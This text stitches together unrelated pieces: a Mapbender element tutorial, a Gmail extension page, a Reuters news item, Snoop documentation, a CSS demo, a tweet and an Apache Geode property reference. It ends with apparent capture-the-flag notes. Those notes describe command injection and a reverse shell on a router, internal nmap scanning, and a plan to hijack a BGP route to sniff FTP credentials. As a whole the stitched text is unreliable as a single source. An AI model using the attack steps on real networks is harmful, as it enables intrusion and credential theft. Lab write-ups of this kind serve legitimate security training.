How to create your own Element?¶
Note: This guide is under complete restructuring. We will provide a new documentation in the Contributing Guite in our Git-Repository:
https://github.com/mapbender/mapbender-starter/blob/release/3.0.6/CONTRIBUTING.md.
Mapbender3 offers an app/console command to create different elements:
- general elements
- buttons
- elements for map-click events
- elements for map-box events
Please note: The new generated element contains only a skeleton and has to be modivied after generation.
The following example show the generation and modification of a map-click element.
The steps to create your own Element?¶
There are some steps you have to follow on the way to your own element.
- create your own bundle
- create an element via app/console
- edit your new element for your needs
- add the new element to the function getElements() to make it available from the backend
Use app/console to generate your own bundle¶
Find out more about the command with help:
app/console generate:bundle --help
app/console generate:bundle --namespace=Workshop/DemoBundle --dir=src
You have to answer some questions before the element will be created:
Bundle name [WorkshopDemoBundle]: WorkshopDemoBundle
Determine the format to use for the generated configuration.
Configuration format (yml, xml, php, or annotation): annotation
To help you get started faster, the command can generate some
code snippets for you.
Do you want to generate the whole directory structure [no]? yes
Summary before generation
You are going to generate a "Workshop\DemoBundle\WorkshopDemoBundle" bundle
in "src/" using the "annotation" format.
Do you confirm generation [yes]? yes
Confirm automatic update of your Kernel [yes]? yes
Confirm automatic update of the Routing [yes]? yes
After this steps you new bundle is available at src. The bundle is already registered in the File AppKernel.php. In the file routing.yml you will find a new entry for the bundle.
Use app/console to generate a new element¶
Find out more about the command with help:
app/console mapbender:generate:element --help
Generate a new element with the following command:
app/console mapbender:generate:element --type "map-click" "Workshop\DemoBundle" MapKlick src
You will get a summary of actions
Summary of actions
- Your element WorkshopDemoBundle\Element\MapKlick has been created.
- The following files have been created:
- PHP class (src/Workshop/DemoBundle/Element/MapKlick.php)
- jQuery widget (src/Workshop/DemoBundle/Resources/public/mapbender.element.mapklick.js)
Follow up actions Read about adapting your bare-bone element at http://doc.mapbender3.org/en/book/development/element_generate.html
Edit your new element for your needs¶
Change the title and description in the php file¶
You will find several functions in the php file. Change the return value of the functions getClassTitle() and getClassDescription().
public static function getClassTitle() {
return "MapKlick";
}
public static function getClassDescription() {
return "Generates an Url with the the mapklick coordinates added";
}
Register the new Element¶
You can register an element by adding it to the function getElements() in the file src/Workshop/DemoBundle/WorkshopDemoBundle.php. After creation of the bundle this function does not exist. You also have to refer to the MapbenderBundle and define that your extends the MapbenderBundle.
This will make the element available in the backend when you configure your application.
<?php
namespace Workshop\DemoBundle;
use Symfony\Component\HttpKernel\Bundle\Bundle;
use Mapbender\CoreBundle\Component\MapbenderBundle;
class WorkshopDemoBundle extends MapbenderBundle
{
public function getElements()
{
return array(
'Workshop\DemoBundle\Element\MapKlick'
);
}
}
Add the new element to an application¶
Create a new application and add your element to the new application. Note that the configuration for your generated element is done in YAML syntax. If you want to use the map-element as target you have to find out the id of the map-element (f.e. via firebug inspect).
Change the action on Click event¶
When you generated a map-click element you get an event on click and an action. The action can be modified. Have a look in the JQuery widget file (mapbender/src/Workshop/DemoBundle/Resources/public/mapbender.element.mapklick.js).
You will find the function _mapClickHandler() that determines the coordinates from the click event and passes them to the function _mapClickWorker(). The new generated element will show the coordinates of the click event in an alert box.
You can modify the action of the function _mapClickWorker().
Default definition of _mapClickWorker()¶
_mapClickWorker: function(coordinates) {
alert('You clicked: ' +
coordinates.pixel.x + ' x ' + coordinates.pixel.y +
' (Pixel), which equals ' +
coordinates.world.x + ' x ' + coordinates.world.y +
' (World).');
}
modified _mapClickWorker() opens OpenStreetMap¶
Alternatively you could open a new window with an URL and add the coordinates as parameters. You can open OpenStreetMap and center to the coordinates of the click event.
http://www.openstreetmap.org/export#map=15/50.7311/7.0985
_mapClickWorker: function(coordinates) {
window.open('http://www.openstreetmap.org/export#map=15/' + coordinates.world.y + '/' + coordinates.world.x);
}


Simplify Gmail v1.6.1
Simplify has no options. But here are some resources.
FAQ
-
Report issue
-
Privacy Policy
-
About
-
Source code
-
License
Copyright (c) 2019
Michael Leggett


Russia's VTB joins EFKO's project to build Black Sea grain terminal
MOSCOW, Nov 21 (Reuters) - Russia's state-controlled VTB has signed an agreement of intent with Russian vegetable oil and mayonnaise producer EFKO to jointly build a grain terminal in the Black Sea port of Taman, VTB said in a statement on Thursday.
They plan to build infrastructure in Taman port with capacity to handle 12.5 million tonnes of grains and vegoil by-products as well as 3 million tonnes of vegoils, VTB added. (Reporting by Polina Devitt; editing by Jon Boyle)
© Copyright Thomson Reuters 2019. Click For Restrictions - http://about.reuters.com/fulllegal.asp


Snoop is the open source WPF spying utility created by Pete Blois and now maintained by Team Snoop (Cory Plotts, Dan Hanan, Andrei Kashcha, and Maciek Rakowski).
It allows you to spy/browse the visual tree of a running WPF application (without the need for a debugger) … and change properties ... amongst other things.
Here are links to Snoop’s documentation pages.
| 1.Quick Start | This is where to go if you are an absolute beginner and want to get started quickly. |
| 2.App Chooser | Explains the app chooser, the window that let’s you select which app you want to Snoop. |
| 3.Main User Interface | Explains the main user interface, the window that pops up after you Snoop an app. |
| 4.Magnifier | Explains the magnifier … which you can launch from the app chooser or which you can launch from a selected element on the visual tree in the main user interface. |
| 5.Troubleshooting | This page currently has information on the wee bit of logging that we have … if you are having problems with Snoop injecting itself into an app. |
| 6.Building | This page has all the information you will need in order to build Snoop yourself. |
| 7.Tips & Tricks | This page is the starting point for the Snoop tips and tricks … currently only the Camtasia videos that I’m releasing through my blog. |


I'm an element that is block-like with my siblings and we're centered in
a row.
I'm an element that is block-like with my siblings and we're centered in
a row. I have more content in me than my siblings do.
I'm an element that is block-like with my siblings and we're centered in
a row.


The phrase for today is "chunky primer." Ask Amber how the painting went...
5/29/2010, 10:10:13 PM
Favs: 0
Retweets: 0
link--- layout: tweet ---
The phrase for today is "chunky primer." Ask Amber how the painting went...
5/29/2010, 10:10:13 PM
Favs: 0
Retweets: 0
link


You use the gemfire.properties
settings to join a distributed system and configure system member behavior. Distributed system members include applications, the cache server, the locator, and other Geode processes.
You can place any security-related (properties that begin with security-*
) configuration properties in gemfire.properties
into a separate gfsecurity.properties
file. Placing these configuration settings in a separate file allows you to restrict access to security configuration data. This way, you can still allow read or write access for your gemfire.properties
file.
You can also define provider-specific properties (“ssl” properties) in gfsecurity.properties
instead of defining them at the command-line or in your environment.
You can specify non-ASCII text in your properties files by using Unicode escape sequences. See Using Non-ASCII Strings in Apache Geode Property Files for more details.
Note: Unless otherwise indicated, these settings only affect activities within this distributed system - not activities between clients and servers or between a gateway sender and gateway receiver in a multi-site installation.
| Setting | Definition | Applies to (Server Locator, Client) | Default |
|---|---|---|---|
| ack-severe-alert-threshold | Number of seconds the distributed system will wait after the ack-wait-threshold for a message to be acknowledged before it issues an alert at severe level. A value of zero disables this feature. |
S, L | 0 |
| ack-wait-threshold | Number of seconds a distributed message can wait for acknowledgment before it sends an alert to signal that something might be wrong with the system member that is unresponsive.
The waiter continues to wait. The alerts are logged in the system member’s log as warnings. Valid values are in the range 0…2147483647 |
S, L | 15 |
| archive-disk-space-limit | Maximum size (in megabytes) of all inactive statistic archive files combined. If this limit is exceeded, inactive archive files are deleted, oldest first, until the total size is within the limit. If set to zero, disk space use is unlimited. | S, L | 0 |
| archive-file-size-limit | The maximum size (in megabytes) of a single statistic archive file. Once this limit is exceeded, a new statistic archive file is created, and the current archive file becomes inactive. If set to zero, file size is unlimited. | S, L | 0 |
| async-distribution-timeout | The number of milliseconds a process that is publishing to this process should attempt to distribute a cache operation before switching over to asynchronous messaging for this process. The switch to asynchronous messaging lasts until this process catches up, departs, or some specified limit is reached, such as async-queue-timeout or async-max-queue-size.
To enable asynchronous messaging, the value must be set above zero. Valid values are in the range 0…60000.
**Note:**
This setting controls only peer-to-peer communication and does not apply to client/server or multi-site communication. |
S | 0 |
| async-max-queue-size | Affects non-conflated asynchronous queues for members that publish to this member. This is the maximum size the queue can reach (in megabytes) before the publisher asks this member to leave the distributed system.
Valid values are in the range 0..1024.
**Note:**
This setting controls only peer-to-peer communication and does not apply to client/server or multi-site communication. |
S | 8 |
| async-queue-timeout | Affects asynchronous queues for members that publish to this member. This is the maximum milliseconds the publisher should wait with no distribution to this member before it asks this member to leave the distributed system. Used for handling slow receivers.
**Note:**
This setting controls only peer-to-peer communication and does not apply to client/server or multi-site communication. |
S, L | 60000 |
| bind-address | Relevant only for multi-homed hosts - machines with multiple network interface cards. Specifies the adapter card the cache binds to for peer-to-peer communication. Also specifies the default location for Geode servers to listen on, which is used unless overridden by the server-bind-address . An empty string causes the member to listen on the default card for the machine. This is a machine-wide attribute used for system member and client/server communication. It has no effect on locator location, unless the locator is embedded in a member process.
Specify the IP address, not the hostname, because each network card may not have a unique hostname. An empty string (the default) causes the member to listen on the default card for the machine. |
S, L | not set |
| cache-xml-file | Declarative initialization file for the member’s cache. | S | cache.xml |
| cluster-configuration-dir | This property specifies the directory in which the cluster configuration related disk-store and artifacts are stored. This property is only applicable to dedicated locators that have “enable-cluster-configuration” set to true. | L | not set |
| conflate-events | Used only by clients in a client/server installation. This is a client-side property that is passed to the server. Affects subscription queue conflation in this client’s servers. Specifies whether to conflate (true setting), not conflate (false), or to use the server’s conflation setting (server). | S | server |
| conserve-sockets | Specifies whether sockets are shared by the system member’s threads. If true, threads share, and a minimum number of sockets are used to connect to the distributed system. If false, every application thread has its own sockets for distribution purposes. You can override this setting for individual threads inside your application. Where possible, it is better to set conserve-sockets to true and enable the use of specific extra sockets in the application code if needed. WAN deployments increase the messaging demands on a Geode system. To avoid hangs related to WAN messaging, always set conserve-sockets=false for Geode members that participate in a WAN deployment. |
S, L | true |
| delta-propagation | Specifies whether to distribute the deltas for entry updates, instead of the full values, between clients and servers and between peers. | S | true |
| deploy-working-dir | Working directory used when deploying JAR application files to distributed system members. This directory can be local and unique to the member or a shared resource. See Deploying Application JARs to Apache Geode Members for more information. | S | . (current directory) |
| disable-auto-reconnect | By default, a Geode member (both locators and servers) will attempt to reconnect and reinitialize the cache after it has been forced out of the distributed system by a network partition event or has otherwise been shunned by other members. Use this property to turn off the autoreconnect behavior. See Handling Forced Cache Disconnection Using Autoreconnect for more details. | S, L | false |
| disable-tcp | Boolean indicating whether to disable the use of TCP/IP sockets for inter-cache point-to-point messaging. If disabled, the cache uses datagram (UDP) sockets. | S, L | false |
| distributed-system-id | Identifier used to distinguish messages from different distributed systems.
This is required for Portable Data eXchange (PDX) data serialization.
Set distributed-system-id to different values for different systems in a multi-site (WAN) configuration, and to different values for production vs. development environments.
This setting must be the same for every member of a given distributed system and unique to each distributed system within a WAN installation.
Valid values are integers in the range -1…255. -1 means no setting. |
S, L | -1 |
| durable-client-id | Used only for clients in a client/server installation. If set, this indicates that the client is durable and identifies the client. The ID is used by servers to reestablish any messaging that was interrupted by client downtime. | C | not set |
| durable-client-timeout | Used only for clients in a client/server installation. Number of seconds this client can remain disconnected from its server and have the server continue to accumulate durable events for it. | C | 300 |
| enable-network-partition-detection | Boolean instructing the system to detect and handle splits in the distributed system, typically caused by a partitioning of the network (split brain) where the distributed system is running. You must set this property to the same value across all your distributed system members. In addition, this property must be set to true if you are using persistent regions and configure your regions to use DISTRIBUTED_ACK or GLOBAL scope to avoid potential data conflicts. |
S, L | true |
| enable-cluster-configuration | A value of “true” causes the creation of cluster configuration on dedicated locators. The cluster configuration service on dedicated locator(s) with this property set to “true” would serve the configuration to new members joining the distributed system and also save the configuration changes caused by the gfsh commands. This property is only applicable to dedicated locators.. |
L | true |
| enable-time-statistics | Boolean instructing the system to track time-based statistics for the distributed system and caching. Disabled by default for performance reasons and not recommended for production environments. You must also configure statistics-sampling-enabled to true and specify a statistics-archive-file . |
S, L | false |
| enforce-unique-host | Whether partitioned regions will put redundant copies of the same data in different members running on the same physical machine. By default, Geode tries to put redundant copies on different machines, but it will put them on the same machine if no other machines are available. Setting this property to true prevents this and requires different machines for redundant copies. | S | false |
| geode.disallow-internal-messages-without-credentials | A boolean that enables internal message validation when true. Set this system property to true on the `gfsh start server` command line when restarting servers to work with upgraded clients. | S | false |
| groups | Defines the list of groups that this member belongs to. Use commas to separate group names. Note that anything defined by the roles gemfire property will also be considered a group. See Using Member Groups for more information. | S | not set |
| http-service-bind-address | If set, then the Geode member binds the embedded HTTP service to the specified address. If this property is not set but the HTTP service is enabled using http-service-port , then Geode binds the HTTP service to the member’s local address. Used by the Geode Pulse Web application and the developer REST API service. |
S | not set |
| http-service-port | If non-zero, then Geode starts an embedded HTTP service that listens on this port. The HTTP service is used to host the Geode Pulse Web application and the development REST API service. If you are hosting the Pulse web app on your own Web server and are not using the development REST API service, then disable this embedded HTTP service by setting this property to zero. Ignored if jmx-manager and start-dev-rest-api are both set to false. |
S | 7070 |
| jmx-manager | If true then this member is willing to be a JMX Manager. All the other JMX Manager properties will be used when it does become a manager. If this property is false then all other jmx-manager-* properties are ignored. |
S, L | false (except on locators) |
| jmx-manager-bind-address | By default the jmx-manager (when configured with a port) will listen on all the local host’s addresses. You can use this property to configure what IP address or host name the JMX Manager will listen on for non-HTTP connections. Ignored if JMX Manager is false or jmx-manager-port is zero. |
S, L | not set |
| jmx-manager-hostname-for-clients | Lets you control what hostname will be given to clients that ask the locator for the location of a JMX Manager. By default the IP address that the jmx-manager reports is used. But for clients on a different network this property allows you to configure a different hostname that will be given to clients. Ignored if jmx-manager is false or jmx-manager-port is zero. |
S, L | not set |
| jmx-manager-http-port | Deprecated. Use http-service-port instead. |
S, L | 7070 |
| jmx-manager-port | The port this JMX Manager will listen to for client connections. If this property is set to zero then Geode will not allow remote client connections but you can alternatively use the standard system properties supported by the JVM for configuring access from remote JMX clients. Ignored if jmx-manager is false. |
S, L | 1099 |
| jmx-manager-start | If true then this member will start a jmx manager when it creates a cache. Management tools like gfsh can be configured to connect to the jmx-manager. In most cases you should not set this because a jmx manager will automatically be started when needed on a member that sets “jmx-manager” to true. Ignored if jmx-manager is false. | S, L | false |
| jmx-manager-update-rate | The rate, in milliseconds, at which this member will push updates to any JMX Managers. Currently this value should be greater than or equal to the statistic-sample-rate. Setting this value too high will cause stale values to be seen by gfsh and Geode Pulse. | S, L | 2000 |
| load-cluster-configuration-from-dir | Setting this property to “true” causes loading of cluster configuration from “cluster_config” directory in the locator. This property is only applicable to dedicated locators that have “enable-cluster-configuration” set to true. | L | false |
| locator-wait-time | The number of seconds that a member should wait for a locator to start if a locator is not available when attempting to join the distributed system. Use this setting when you are starting locators and peers all at once. This timeout allows peers to wait for the locators to finish starting up before attempting to join the distributed system. | S | 0 |
| locators | The list of locators used by system members. The list must be configured consistently for every member of the distributed system. If the list is empty, locators are not used. For each locator, provide a host name and/or address (separated by ‘@’, if you use both), followed by a port number in brackets. Examples:
**Note:**
On multi-homed hosts, this last notation will use the default address. If you use bind addresses for your locators, explicitly specify the addresses in the locators list—do not use just the hostname. If you have values specified for the
**Note:**
If you specify invalid DNS hostnames in this property, any locators or servers started with |
S, L | not set |
| lock-memory | When true , locks heap and off-heap memory into RAM to prevent the operating system from paging the memory out to disk. |
S, L | false |
| log-disk-space-limit | Maximum size in megabytes of all inactive log files combined. If this limit is exceeded, inactive log files are deleted, oldest first, until the total size is within the limit. If set to zero, disk space use is unlimited. | S, L | 0 |
| log-file | File to which a running system member writes log messages. If set to null, the default is used.
Each member type has its own default output:
|
S, L | null |
| log-file-size-limit | Maximum size in megabytes of a log file before it is closed and logging rolls on to a new (child) log file. If set to 0, log rolling is disabled. | S, L | 0 |
| log-level | Level of detail of the messages written to the system member’s log. Setting log-level to one of the ordered levels causes all messages of that level and greater severity to be printed.
Valid values from lowest to highest are fine, config, info, warning, error, severe, and none. |
S, L | config |
| max-wait-time-reconnect | Maximum number of milliseconds to wait for the distributed system to reconnect on each reconnect attempt. | S, L | 60000 |
| mcast-address | Address used to discover other members of the distributed system. Only used if mcast-port is non-zero. This attribute must be consistent across the distributed system. Select different multicast addresses and different ports for different distributed systems. Do not just use different addresses. Some operating systems may not keep communication separate between systems that use unique addresses but the same port number.
This default multicast address was assigned by IANA (http://www.iana.org/assignments/multicast-addresses). Consult the IANA chart when selecting another multicast address to use with Geode.
**Note:**
This setting controls only peer-to-peer communication and does not apply to client/server or multi-site communication. If multicast is enabled, distributed regions use it for most communication. Partitioned regions only use multicast for a few purposes, and mainly use either TCP or UDP unicast. |
S, L | <IP_ADDRESS> for IPv4 (the default IP version) FF38::1234 for IPv6 |
| mcast-flow-control | Tuning property for flow-of-control protocol for unicast and multicast no-ack UDP messaging. Compound property made up of three settings separated by commas: byteAllowance, rechargeThreshold, and rechargeBlockMs.
Valid values range from these minimums: 10000,0.1,500 to these maximums: no_maximum ,0.5,60000.
**Note:**
This setting controls only peer-to-peer communication, generally between distributed regions. |
S, L | 1048576,0.25, 5000 |
| mcast-port | Port used, along with the mcast-address, for multicast communication with other members of the distributed system. If zero, multicast is disabled.
**Note:**
Select different multicast addresses and ports for different distributed systems. Do not just use different addresses. Some operating systems may not keep communication separate between systems that use unique addresses but the same port number. Valid values are in the range 0..65535.
**Note:**
This setting controls only peer-to-peer communication and does not apply to client/server or multi-site communication. If you have values specified for the |
S, L | 10334 |
| mcast-recv-buffer-size | Size of the socket buffer used for incoming multicast transmissions. You should set this high if there will be high volumes of messages.
Valid values are in the range 2048.. OS_maximum.
**Note:**
The default setting is higher than the default OS maximum buffer size on Unix, which should be increased to at least 1 megabyte to provide high-volume messaging on Unix systems.
**Note:**
This setting controls only peer-to-peer communication and does not apply to client/server or multi-site communication. |
S, L | 1048576 |
| mcast-send-buffer-size | The size of the socket buffer used for outgoing multicast transmissions.
Valid values are in the range 2048.. OS_maximum.
**Note:**
This setting controls only peer-to-peer communication and does not apply to client/server or multi-site communication. |
S, L | 65535 |
| mcast-ttl | How far multicast messaging goes in your network. Lower settings may improve system performance. A setting of 0 constrains multicast messaging to the machine.
**Note:**
This setting controls only peer-to-peer communication and does not apply to client/server or multi-site communication. |
S, L | 32 |
| member-timeout | Geode uses the member-timeout server configuration, specified in milliseconds, to detect the abnormal termination of members. The configuration setting is used in two ways: 1) First it is used during the UDP heartbeat detection process. When a member detects that a heartbeat datagram is missing from the member that it is monitoring after the time interval of 2 * the value of member-timeout , the detecting member attempts to form a TCP/IP stream-socket connection with the monitored member as described in the next case. 2) The property is then used again during the TCP/IP stream-socket connection. If the suspected process does not respond to the are you alive datagram within the time period specified in member-timeout , the membership coordinator sends out a new membership view that notes the member’s failure.
Valid values are in the range 1000..600000. |
S, L | 5000 |
| membership-port-range | The range of ports available for unicast UDP messaging and for TCP failure detection. This is specified as two integers separated by a hyphen. Different members can use different ranges.
Geode randomly chooses at least two unique integers from this range for the member, one for UDP unicast messaging and the other for TCP failure detection messaging. If tcp-port is configured to 0, it will also randomly select a port from this range for TCP sockets used for peer-to-peer communication only. Therefore, the specified range must include at least three available port numbers (UDP, FD_SOCK, and TCP DirectChannel). The system uniquely identifies the member using the combined host IP address and UDP port number. You may want to restrict the range of ports that Geode uses so the product can run in an environment where routers only allow traffic on certain ports. |
S, L | 1024-65535 |
| memcached-port | If specified and is non-zero, sets the port number for an embedded Gemcached server and starts the Gemcached server. | S | 0 |
| memcached-protocol | Sets the protocol used by an embedded Gemcached server. Valid values are BINARY and ASCII. If you omit this property, the ASCII protocol is used. |
S | ASCII |
| name | Symbolic name used to identify this system member. | S, L | not set |
| off-heap-memory-size | Specifies the size of off-heap memory in megabytes (m) or gigabytes (g). For example:
|
S | not set |
| redundancy-zone | Defines this member’s redundancy zone. Used to separate member’s into different groups for satisfying partitioned region redundancy. If this property is set, Geode will not put redundant copies of data in members with the same redundancy zone setting. See Configure High Availability for a Partitioned Region for more details. | S | not set |
| remote-locators | Used to configure the locators that a cluster will use in order to connect to a remote site in a multi-site (WAN) configuration. To use locators in a WAN configuration, you must specify a unique distributed system ID (distributed-system-id ) for the local cluster and remote locator(s) for the remote clusters to which you will connect.
For each remote locator, provide a host name and/or address (separated by ‘@’, if you use both), followed by a port number in brackets. Examples:
|
L | not set |
| remove-unresponsive-client | When this property is set to true, the primary server drops unresponsive clients from all secondaries and itself. Clients are deemed unresponsive when their messaging queues become full on the server. While a client’s queue is full, puts that would add to the queue block on the server. | S | false |
| security-* |
Any security-related (properties that begin with security- ) configuration properties that are normally configured in gemfire.properties can be moved to a separate gfsecurity.properties file. Placing these configuration settings in a separate file allows you to restrict access to security configuration data. This way, you can still allow read or write access for your gemfire.properties file.
|
S, L | not set |
| security-client-accessor | Deprecated. Used for authorization. Static creation method returning an AccessControl object, which determines authorization of client-server cache operations. This specifies the callback that should be invoked in the pre-operation phase, which is when the request for the operation is received from the client. |
S, L | not set |
| security-client-accessor-pp | Deprecated. Used for authorization. The callback that should be invoked in the post-operation phase, which is when the operation has completed on the server but before the result is sent to the client. The post-operation callback is also invoked for the updates that are sent from server to client through the notification channel. | S, L | not set |
| security-client-auth-init | Used for authentication. Static creation method returning an AuthInitialize object, which obtains credentials for peers in a distributed system. The obtained credentials should be acceptable to the Authenticator specified through the security-peer-authenticator property on the peers. |
S, L | not set |
| security-client-authenticator | Deprecated. Used for authentication. Static creation method returning an Authenticator object, which is used by a peer to verify the credentials of the connecting peer. |
S, L | not set |
| security-client-dhalgo | Deprecated. Use ssl-enabled-components instead.
Used for authentication. For secure transmission of sensitive credentials like passwords, you can encrypt the credentials using the Diffie-Hellman key-exchange algorithm. Do this by setting the security-client-dhalgo system property on the clients to the name of a valid, symmetric key cipher supported by the JDK. |
S, L | not set |
| security-log-file | Used with authentication. The log file for security log messages. If not specified, the member’s regular log file is used. | S, L | not set |
| security-log-level | Used with authentication. Logging level detail for security log messages.
Valid values from lowest to highest are fine, config, info, warning, error, severe, and none. |
S, L | config |
| security-manager | Specifies the implementation of the SecurityManager interface that implements the callbacks that do authentication and authorization. |
S, L | not set |
| security-peer-auth-init | Deprecated. Used with authentication. Static creation method returning an AuthInitialize object, which obtains credentials for peers in a distributed system. The obtained credentials should be acceptable to the Authenticator specified through the security-peer-authenticator property on the peers. |
S, L | not set |
| security-peer-authenticator | Deprecated. Used with authentication. Static creation method returning an Authenticator object, which is used by a peer to verify the credentials of the connecting peer. |
S, L | not set |
| security-peer-verifymember-timeout | Used with authentication. Timeout in milliseconds used by a peer to verify membership of an unknown authenticated peer requesting a secure connection. | S, L | 1000 |
| security-post-processor | Specifies the implementation of the PostProcessor interface that implements user-defined callbacks that can change the returned results of region get operations. |
S, L | not set |
| security-udp-dhalgo | Specifies a string that defines the name of a valid, symmetric key cipher supported by the JDK. When defined, the named cipher will be used for server-to-server UDP communications. | S | not set |
| serializable-object-filter | A semicolon-separated list of items that become full class names of objects that the system will serialize when the property validate-serializable-objects is set to true. The list is expanded using the patterns specified in the createFilter method at
https://docs.oracle.com/javase/9/docs/api/java/io/ObjectInputFilter.Config.html. |
S, C | “!*” |
| server-bind-address | Relevant only for multi-homed hosts - machines with multiple network interface cards. Network adapter card a Geode server binds to for client/server communication. You can use this to separate the server’s client/server communication from its peer-to-peer communication, spreading the traffic load.
This is a machine-wide attribute used for communication with clients in client/server and multi-site installations. This setting has no effect on locator configuration. Specify the IP address, not the hostname, because each network card may not have a unique hostname. An empty string causes the servers to listen on the same card used for peer-to-peer communication. This is either the |
S | not set |
| socket-buffer-size | Receive buffer sizes in bytes of the TCP/IP connections used for data transmission. To minimize the buffer size allocation needed for distributing large, serializable messages, the messages are sent in chunks. This setting determines the size of the chunks. Larger buffers can handle large messages more quickly, but take up more memory. | S, L | 32768 |
| socket-lease-time | Time, in milliseconds, a thread can have exclusive access to a socket it is not actively using. A value of zero causes socket leases to never expire. This property is ignored if conserve-sockets is true.
Valid values are in the range 0..600000. |
S, L | 60000 |
| ssl-enabled-components | Components for which to enable SSL. Comma-separated list of one or more of (cluster, gateway, http, jmx, locator, server) or “all”. When defining this property, also set security-udp-dhalgo to secure UDP cluster communications. |
S, L | all |
| ssl-require-authentication | Boolean. Require two-way authentication for SSL-enabled components. Applies to all components except http. | S, L | true |
| ssl-http-require-authentication | Boolean. Require two-way authentication for http component. | S, L | false |
| ssl-default-alias | String. Default certificate name. If empty, use first certificate in key store. | S, L | |
| ssl-component-alias | String. Certificate name for specified component, which is one of: cluster, gateway, http, jmx, locator, or server. | S, L | |
| ssl-ciphers | Comma-separated list of SSL ciphers or “any” | S, L | any |
| ssl-protocols | Comma-separated list of SSL protocols or “any” | S, L | any |
| ssl-keystore, ssl-keystore-password | Strings. Path to key store, key store password. | S, L | |
| ssl-truststore, ssl-truststore-password | Strings. Path to trust store, trust store password. | S, L | |
| ssl-keystore-type, ssl-truststore-type | Strings. Type of key store or trust store. “JKS” indicates Java. One common alternative is “pkcs12”. | S, L | JKS |
| start-dev-rest-api | If set to true, then the developer REST API service will be started when cache is created. REST service can be configured using http-service-port and http-service-bind-address properties. |
S | false |
| start-locator | If set, automatically starts a locator in the current process when the member connects to the distributed system and stops the locator when the member disconnects.
To use, specify the locator with an optional address or host specification and a required port number, in one of these formats:
If you only specify the port, the address assigned to the member is used for the locator.
If not already there, this locator is automatically added to the list of locators in this set of |
S | not set |
| statistic-archive-file | The file to which the running system member writes statistic samples. For example: “StatisticsArchiveFile.gfs”. An empty string disables archiving. Adding .gz suffix to the file name causes it to be compressed. | S, L | not set |
| statistic-sample-rate | How often to sample statistics, in milliseconds.
Valid values are in the range 100..60000. |
S, L | 1000 |
| statistic-sampling-enabled | Whether to collect and archive statistics on the member.
Statistics sampling provides valuable information for ongoing system tuning and troubleshooting purposes. Sampling statistics at the default sample rate does not impact system performance. We recommend enabling statistics sampling in production environments.
**Note:**
This setting does not apply to partitioned regions, where statistics are always enabled. |
S, L | false |
| tcp-port | The TCP port to listen on for cache communications. If set to zero, the operating system selects an available port. Each process on a machine must have its own TCP port. Note that some operating systems restrict the range of ports usable by non-privileged users, and using restricted port numbers can cause runtime errors in Geode startup.
Valid values are in the range 0..65535. |
S, L | 0 |
| tombstone-gc-threshold | The number of tombstones that can accumulate before the Geode member triggers garbage collection for tombstones. See How Destroy and Clear Operations Are Resolved. | S | 100000 |
| udp-fragment-size | Maximum fragment size, in bytes, for transmission over UDP unicast or multicast sockets. Smaller messages are combined, if possible, for transmission up to the fragment size setting.
Valid values are in the range 1000..60000. |
S, L | 60000 |
| udp-recv-buffer-size | The size of the socket buffer used for incoming UDP point-to-point transmissions. If disable-tcp is false, a reduced buffer size of 65535 is used by default.
The default setting of 1048576 is higher than the default OS maximum buffer size on Unix, which should be increased to at least 1 megabyte to provide high-volume messaging on Unix systems. Valid values are in the range 2048.. OS_maximum. |
S, L | 1048576 |
| udp-send-buffer-size | The size of the socket buffer used for outgoing UDP point-to-point transmissions.
Valid values are in the range 2048..OS_maximum. |
S, L | 65535 |
| use-cluster-configuration | This property is only applicable for data members (non-client and non-locator). A value of “true” causes a member to request and use the configuration from cluster configuration services running on dedicated locators. Setting this property to “false” causes a member to not request the configuration from the configuration services running on the locator(s). | L | true |
| user-command-packages | A comma separated list of Java packages that contain classes implementing the CommandMarker interface. Matching classes will be loaded when the VM starts and will be available in the GFSH command-line utility. |
S | not set |
| validate-serializable-objects | A boolean that defaults to false. When true, instances of classes that are not internal to Geode and whose class name is not allowed by the list defined in the serializable-object-filter property will not be permitted to be deserialized. An IncompatibleClassException is thrown for objects not listed. JDK 8 build 121 or a later build must be installed to use this property. Servers and clients that do not meet this requirement will throw an exception upon startup. |
S, C | false |
Using Non-ASCII Strings in Apache Geode Property Files
You can specify Unicode (non-ASCII) characters in Apache Geode property files by using a
\uXXXX
escape sequence.


Gobuster and find some documents (network diagrams, error codes, etc)
Error code reveals default password is chasis serial number
SNMP enumerate and find the serial number
Login to Lyghtspeed web interface
Ticket #6 provides interesting information
Issues with networks (10.120.15,10.120.16,10.120.17/24's) and they have issues connecting to FTP in <IP_ADDRESS>/24
diag.php, command injection! (like ps | grep {user_input})
default is set to monitor "quagga"
Reverse shell works fine
root@r1:~#
test_intercept.pcap
user.txt
we're in some sort of container, cat /proc/1/environ
container=lxc
Interesting recon opportnity: ssh-keyscan
Will show the keys for an ssh instance. run ssh-keyscan localhost and ssh-keyscan <IP_ADDRESS> and see that they are different
This lets us know that we are in a different location than the host that we scanned (we're in a container not on the host)
Check out: arp -an
To look for additional hosts that are talking to the container
We know that there's an FTP server in <IP_ADDRESS>/24, and ping <IP_ADDRESS> replies correctly. Let's try to scan into <IP_ADDRESS>/24
Copy nmap (static) to the host and start scanning
nmap -vvv -Pn -p 21 <IP_ADDRESS>/24 --open
--open specifies we only want something to be listed if it's open (ie no closed/filtered)
FTP is listening on <IP_ADDRESS>!
vsFTPd 3.0.3
anonymous login is successful!
But nothing too useful
netstat listening shows a lot of BGP listening
look at stuff in crontab -l
stopping a service 'quagga' and killall vtysh, so let's check out what quagga is and it's configuration files
/etc/quagga/zebra.conf
/etc/quagga/bgpd.conf
zebra looks like a Cisco ios config file
bgpd looks like bgp routing table
neighbor <IP_ADDRESS> remote-as 200 (Zaza Com AS200)
neighbor <IP_ADDRESS> remote-as 300 (Cast Com AS300)
vtysh is a command line interface, much like CISCO
By now we can kind of assume that a BGP hijack is the way to go (or other bgp attacks)
Trying to find out where our FTP guy is, but traceroute is not available, only traceroute6. We can use vtysh
vtysh
r1# show ip route <IP_ADDRESS>
known via "bgp", distance 20, metric 0, best
* <IP_ADDRESS>, via eth2
Cool, so we can see it routing through CastCom AS300
r1# show ip bgp summary
Peers 2
Shows our neighbors as expected
Side tangeant: https://ipinfo.io can look up AS numbers and provide a ton of information including IP ranges, IP6 ranges, and more
Can use https://www.ultratools.com/tools/asninfoResult?domainName=<IP address or domain name> to look up the ASN numbers to plug into ipinfo.io
r1# show ip bgp
<shows all routes and their paths>
r1# show ip bgp <IP_ADDRESS>/24
<shows path for a specific route/ip and where we got the advertisement>
r1# show ip bgp neighbors <ip> advertised-routes
<we can see paths that a speicfic ip advertises to us>
So an attack chain is that we want to see what's in that ftp server. We can advertise a route to <IP_ADDRESS> and sniff credentials for people logging into it.
